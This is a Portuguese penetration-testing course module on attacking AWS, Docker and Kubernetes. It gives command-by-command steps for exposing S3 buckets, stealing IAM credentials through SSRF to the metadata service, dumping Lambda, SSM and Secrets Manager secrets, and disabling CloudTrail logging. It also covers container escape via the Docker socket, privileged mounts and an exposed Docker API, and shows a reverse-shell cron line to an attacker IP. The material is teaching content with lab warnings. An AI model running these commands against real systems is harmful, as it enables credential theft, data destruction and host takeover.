MÓDULO 15 — CLOUD & CONTAINERS (com AWS em profundidade)

AWS é responsável PELA nuvem   → hardware, rede, hypervisor, regiões
Você/cliente é responsável NA nuvem → IAM, S3, EC2 config, aplicações, dados

Misconfigs de nuvem (mais comuns):
- Buckets S3 públicos (leitura/escrita)
- Políticas IAM superpermissivas (tudo com *)
- Credenciais expostas (código, GitHub, Lambda env, EC2 metadata)
- Recursos sem autenticação (bancos, painéis, Redis)
- Roles IAM assumíveis por qualquer um (assume_role)
- Security groups abertos ao mundo (0.0.0.0/0)

1. O que você tem? (credenciais? acesso a app? bucket exposto?)
2. Enumere (pacu, aws cli, ScoutSuite)
3. Ache a misconfig (policy * → S3 público → role assumível → metadata)
4. Escale (IAM privilege escalation, assume_role, rota de ataque)
5. Documente (impacto = dados/recursos acessíveis, custo)

# Crie uma conta própria (com cartão, mas free tier cobre o básico)
# Use um BUCKET DE TESTE que VOCÊ criou, com nome único global
aws s3 mb s3://seu-nome-teste-seguranca   # criar bucket
aws s3api put-bucket-acl --bucket seu-nome-teste-seguranca --acl public-read   # ABRIR de propósito (lab!)
# e NUNCA use credenciais de produção em testes

pip install localstack
localstack start
# Configurar AWS CLI para apontar para o LocalStack:
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
aws --endpoint-url=http://localhost:4566 s3 mb s3://lab-bucket

# a) Na enumeração da conta (se você tem credenciais):
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://nome-do-bucket

# b) Adivinhar nomes (se não tem credenciais — recon passivo):
#    Nomes comuns: <empresa>, <empresa>-backup, <empresa>-logs, <empresa>-dados, <empresa>-dev
#    Ferramenta: lazyrecon / bucket-finder / mass3 / bfac

# c) Google dorks (Módulo 4):
site:s3.amazonaws.com "empresa"
site:s3.amazonaws.com "empresa" filetype:sql
# d) Shodan/Censys: produto:Amazon S3 com ACL pública

# Listar (aberto?):
aws s3 ls s3://nome-do-bucket --no-sign-request
# Baixar arquivo:
aws s3 cp s3://nome-do-bucket/arquivo.txt . --no-sign-request
# Escrever (teste SEMPRE com um arquivo inocuo):
echo "teste-seguranca" > /tmp/teste.txt
aws s3 cp /tmp/teste.txt s3://nome-do-bucket/teste.txt --no-sign-request
# Apagar (NUNCA em produção! só em lab/escopo com permissão explícita)
# (não faça DELETE em bucket de terceiro — é crime)

# Ver a política do bucket:
aws s3api get-bucket-acl --bucket nome-do-bucket --no-sign-request
aws s3api get-bucket-policy --bucket nome-do-bucket --no-sign-request

READ  → vazamento de dados (LGPD!), exposição de código e segredos
WRITE → defacement do site (se o bucket serve site estático), malware no download, ransomware no bucket, phishing hospedado
DELETE→ destruição de dados (equivalente a DoS + perda)

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:ListBucket"],
      "Resource": "arn:aws:s3:::bucket-do-cliente/*"
    }
  ]
}

aws iam list-users
aws iam list-groups
aws iam list-roles
aws iam list-policies --scope AWS
aws iam list-attached-user-policies --user-name usuario
aws iam get-user-policy --user-name usuario --policy-name nome
aws iam list-access-keys --user-name usuario
# Ver em quem você pode assumir role:
aws iam list-roles | jq '.Roles[].RoleName'

# 1. Veja as roles existentes
aws iam list-roles | jq -r '.Roles[].RoleName'
# 2. Lance uma instância EC2 com a role privilegiada
aws ec2 run-instances --image-id ami-XXXX --instance-type t2.micro \
    --iam-instance-profile Name=nome-da-role --key-name minha-chave
# 3. Acesse a instância (SSH), e de dentro dela:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
#    → credenciais temporárias da ROLE → use-as para agir como a role!

# Via SSRF (no input da aplicação):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DA_ROLE
# resposta: AccessKeyId, SecretAccessKey, Token (temporários)

# Versão IMDSv2 (exige header X-aws-ec2-metadata-token — teste via SSRF se der):
# 1. PUT /latest/api/token (TTL) → token
# 2. GET /latest/meta-data/... com header X-aws-ec2-metadata-token: <token>

# Configure no seu Kali (exportar):
export AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
# Agora enumere como a role:
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
# → tudo que a role pode, você pode

App web vulnerável (SSRF) → metadata → credenciais IAM da instância
→ S3 list/read → lambda list → ec2 describe → (escalada até o alvo final)

aws lambda list-functions
aws lambda get-function --function-name nome
aws lambda list-tags --resource arn:...
# Baixar o código da função:
aws lambda get-function --function-name nome --query 'Code.Location' --output text | xargs curl -o code.zip
unzip code.zip && grep -r "AKIA|password|secret" .   # segredos no código!

- Variáveis de ambiente com credenciais (env vars são fáceis de vazar)
- Código com access keys hardcoded
- Roles com permissões exageradas (a role da lambda)
- APIs públicas (API Gateway) sem autenticação
- Eventos (S3 triggers, cron) que exponham lógica interna

aws lambda get-function-configuration --function-name nome | jq '.Environment'
# → env vars com credenciais (achado clássico!)

# API Gateway exposto → teste endpoints sem token:
curl https://xxx.execute-api.us-east-1.amazonaws.com/prod/funcao
# fuzzing de parâmetros (Módulo 8) vale aqui também

# Bancos e serviços sem auth (recon via Shodan/Censys ou enumeração):
# - RDS/DocumentDB/Mongo/Elasticsearch aberto ao mundo → acesso direto
#   (teste: nc -nv IP 27017; mongo "mongodb://IP:27017")
# - Redis sem senha → RCE via EVAL/webshell (casos conhecidos)
# - SQS/SNS (filas) expostas → ler mensagens (dados)
# - CloudFormation/Secrets Manager/SSM Parameter Store → segredos
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# - EBS snapshots públicos → montar disco e ler dados
aws ec2 describe-snapshots --owner-ids <conta> --region us-east-1

# Instalar: https://github.com/RhinoSecurityLabs/pacu (pip install pacu)
pacu
# Configurar credenciais (as suas, de lab):
set_keys
# Módulos:
run iam__privesc_scan          # detecta escaladas IAM possíveis
run s3__list_buckets
run s3__bucket_bruteforce      # procura buckets do alvo
run ec2__download_userdata
run lambda__enum
run iam__enum_users_roles_policies
run cloudtrail__disable_logging  # ⚠️ evasão — só em lab/escopo com autorização explícita
# pacu tem o "whoami" da nuvem e organiza tudo em uma sessão

# Instalar: pip install prowler (ou docker)
prowler aws -M csv
# Varre a conta contra benchmarks (CIS AWS Foundations) e acha
# as misconfigs: buckets públicos, roles exageradas, falta de MFA...

pip install scoutsuite
scout aws
# gera relatório HTML navegável com todos os serviços e falhas

# CloudGoat (Rhino): cenários vulneráveis na SUA conta (terraform) — o "Metasploitable" da AWS
git clone https://github.com/RhinoSecurityLabs/cloudgoat && cd cloudgoat
./cloudgoat.py create scenario iam_privesc_by_attachment
# Flaws.cloud / flaws2.cloud: laboratórios públicos de treino (sem criar conta)

Azure AD (Entra ID) ≈ IAM (identidades + MFA + apps)
Storage Accounts ≈ S3 (blobs públicos com access keys)
Managed Identity ≈ EC2 roles (credenciais via metadata 169.254.169.254)
Key Vault ≈ Secrets Manager
ARM templates ≈ CloudFormation

- Container rodando como ROOT
- Volume host montado (docker run -v /:/host) → escrever no host
- Capabilities extras (--privileged) → escape direto
- Container com acesso ao docker socket (/var/run/docker.sock)
- Imagens com segredos embutidos
- Registry privado exposto

# Quem sou eu?
id; uname -a
cat /proc/1/cgroup | head -5        # se tem "docker" no caminho, você está num container
mount | grep -E "overlay|docker"   # confirma o ambiente
ls -la /var/run/docker.sock        # SOCKET! (abaixo)
capsh --print | grep -i cap        # capabilities (procure CAP_SYS_ADMIN)
env | grep -i "key|secret|token" # variáveis de ambiente vazando segredos
ls -la /; ls -la /home             # volume do host montado?
find / -name "*key*" -o -name "*.pem" 2>/dev/null

# Se /var/run/docker.sock está montado, você controla o daemon:
docker ps
docker run -v /:/host -it ubuntu chroot /host bash    # → shell NO HOST

# Se você vê /host ou /mnt com o filesystem do host:
chroot /host bash        # ou escreva chave SSH/cron no host
echo 'bash -i >& /dev/tcp/SEU_IP/4444 0>&1' >> /host/var/spool/cron/root

# Com CAP_SYS_ADMIN (--privileged), monte o host dentro do container:
mkdir /tmp/host && mount /dev/sda1 /tmp/host   # ou o dispositivo do host
chroot /tmp/host bash
# Ferramenta: deepce (script de enumeração/escape de containers) — github.com/stealthcopter/deepce

# Se a API do Docker (2375/2376) está na internet:
curl http://IP:2375/containers/json
# ou escaneie: nmap -p 2375 IP
# Com acesso à API: crie um container com volume /: 
curl -X POST http://IP:2375/containers/create -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"Binds":["/:/host"],"Privileged":true}'
# depois exec → chroot /host

kubectl auth can-i --list                    # o que seu usuário pode?
kubectl get nodes,namespaces,pods,services --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterroles,rolebindings
# Ver segredos:
kubectl get secret <nome> -o yaml | base64 -d
# Executar no pod:
kubectl exec -it <pod> -- /bin/sh

- kubeconfig roubado (arquivo ~/.kube/config no host comprometido)
- Dashboard sem auth (porta 30000+ exposta, token admin default)
- Role com permissão de criar pods (→ pod com hostPath → escape)
- Secrets em etcd acessível
- ServiceAccount com permissões exageradas (o token do pod)
- Metadata da cloud acessível DE DENTRO do pod (SSRF → 169.254.169.254)

# Se você tem exec em um pod:
# 1. Leia o token do service account:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 2. Use-o:
kubectl --token=<token> --server=https://<API_SERVER> auth can-i --list
# 3. Se puder criar pods: crie um pod privilegiado com hostPath / → escape para o nó